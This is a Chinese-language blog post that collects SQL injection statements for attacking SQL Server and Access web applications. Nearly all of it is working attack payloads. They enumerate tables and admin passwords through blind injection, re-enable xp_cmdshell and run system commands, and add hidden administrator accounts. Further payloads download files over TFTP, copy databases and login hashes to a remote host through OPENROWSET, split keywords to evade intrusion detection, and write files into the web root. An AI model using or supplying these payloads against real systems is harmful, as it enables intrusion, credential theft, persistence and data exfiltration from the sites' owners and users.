SQL注射语句的经典总结

2012-10-19 18:29 363 查看

 

1.判断有无注入点

' ; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

看服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and 'sa'=(Select System_user)--

and user_name()='dbo'--

and 0<>(select user_name()--

看xp_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND

name = 'xp_cmdshell')--

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--

;EXEC master.dbo.sp_addextendedproc

'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己实验

;use master;declare @s int;exec sp_oacreate "w.shell",@s out;exec

sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号

;DECLARE @shell INT EXEC SP_OACreate 'w.shell',@shell OUTPUT EXEC

SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user

jiaoniang$ 1866574 /add'--

创建一个虚拟目录E盘:

;declare @o int exec sp_oacreate 'w.shell', @o out exec sp_oamethod

@o, 'run', NULL,' c.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"

-v "e","e:\"'--

访问属性:(配合写入一个webshell)

declare @o int exec sp_oacreate 'w.shell', @o out exec sp_oamethod

@o, 'run', NULL,' c.exe c:\inetpub\wwwroot\chaccess.vbs -a

w3svc/1/ROOT/e +browse'

爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交

如何得到SQLSERVER某个数据库中所有表的表名?

--------------------------------------------------------------------------------

用户表:

select name from sysobjects where xtype = 'U';

系统表:

select name from sysobjects where xtype = 'S';

所有表:

select name from sysobjects where xtype = 'S' or xtype = 'U';

--------------------------------------------------------------------------------

and 0<>(select top 1 paths from newtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and

dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表

假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name

not in ('Admin')) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and

name='admin'

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)

得到一个admin的一个字段,假设为 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and

name not in

('id',...)) 来暴出其他的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。。。。。假设存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and

dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name

not in('Address'))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and

name='admin' and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare

@test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',

@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',

@_name='/', s=@test OUTPUT insert into paths(path)

s(@test)--

;use ku1;--

;create table cmd (str image);-- 建立image类型的表cmd

存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell 'dir'

;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号

;exec master.dbo.sp_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$

/add';--

exec master..xp_servicecontrol 'start', 'schedule' 启动服务

exec master..xp_servicecontrol 'start', 'server'

; DECLARE @shell INT EXEC SP_OACreate 'w.shell',@shell OUTPUT EXEC

SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user

jiaoniang$ 1866574 /add'

;DECLARE @shell INT EXEC SP_OACreate 'w.shell',@shell OUTPUT EXEC

SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net

localgroup administrators jiaoniang$ /add'

'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

;declare @a;set @a=db_name();backup database @a to

disk='你的IP你的共享目录bak.dat'

如果被限制则可以。

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec

master.dbo.sp_addlogin hax')

查询构造:

Select * FROM news Where id=... AND topic=... AND .....

admin'and 1=(select count(*) from [user] where username='victim' and

right(left(userpass,01),1)='1') and userpass <>'

select 123;--

;use master;--

:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where

xtype='u' and status>0) where name='ffff';--

;update [users] set email=(select top 1 id from sysobjects where xtype='u'

and name='ad') where name='ffff';--

';update [users] set email=(select top 1 name from sysobjects where

xtype='u' and id>581577110) where name='ffff';--

';update [users] set email=(select top 1 count(id) from password) where

name='ffff';--

';update [users] set email=(select top 1 pwd from password where id=2)

where name='ffff';--

';update [users] set email=(select top 1 name from password where id=2)

where name='ffff';--

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users s( 666,

char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

insert into users s( 667,123,123,0xffff)--

insert into users s ( 123, 'admin''--', 'password', 0xffff)--

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and

status>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and

status>0 and name<>'vote');--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and

status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from

sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [

where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

1、 开启远程数据库

基本语法

select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',

'select * from table1' )

参数: (1) OLEDB Provider name

2、 其中连接字符串参数可以是任何端口用来连接,比如

select * from OPENROWSET('SQLOLEDB',

'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select *

from table'

3.复制目标主机的整个数据库insert所有远程表到本地表。

基本语法:

insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',

'select * from table1') select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table1') select * from table2

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from _sysdatabases')

select * from master.dbo.sysdatabases

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from _sysobjects')

select * from user_database.dbo.sysobjects

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from _syscolumns')

select * from user_database.dbo.syscolumns

复制数据库:

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table1') select * from database..table1

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table2') select * from database..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET('SQLOLEDB',

'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from

_sysxlogins') select * from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp

';create table temp(id nvarchar(255),num1 nvarchar(255),num2

nvarchar(255),num3 nvarchar(255));--

';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表

';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

获得所有子目录的目录树结构,并寸入temp表中

';insert into temp(id) exec master.dbo.xp_cmdshell 'type

c:\web\index.asp';-- 查看某个文件的内容

';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--

';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

';insert into temp(id) exec master.dbo.xp_cmdshell 'c

C:\Inetpub\Admins\adsutil.vbs enum w3svc'

';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

(xp_dirtree适用权限PUBLIC)

写入表:

语句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--

语句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--

语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--

语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--

语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--

语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--

语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--

语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--

语句9:and 1=(Select IS_MEMBER('db_owner'));--

把路径写到表中去:

;create table dirs(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_dirtree 'c:\'--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--

;create table dirs1(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_dirtree 'e:\web'--

and 0<>(select top 1 paths from dirs1)--

把数据库备份到网页目录:下载

;declare @a sysname; set @a=db_name();backup database @a to

disk='e:\web\down.bak';--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where

xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects)

参看相关表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)

-=- w.shell example -=-

declare @o int

exec sp_oacreate 'w.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

'; declare @o int exec sp_oacreate 'w.shell', @o out exec

sp_oamethod @o, 'run', NULL, 'notepad.exe'--

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'ing.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'ing.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out,

'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

''

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong

to,us', 528

waitfor delay '00:00:05'

'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty

@o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel

servers are belong to us', 528 waitfor delay '00:00:05'--

xp_dirtree适用权限PUBLIC

exec master.dbo.xp_dirtree 'c:\'

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_dirtree 'c:\'

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
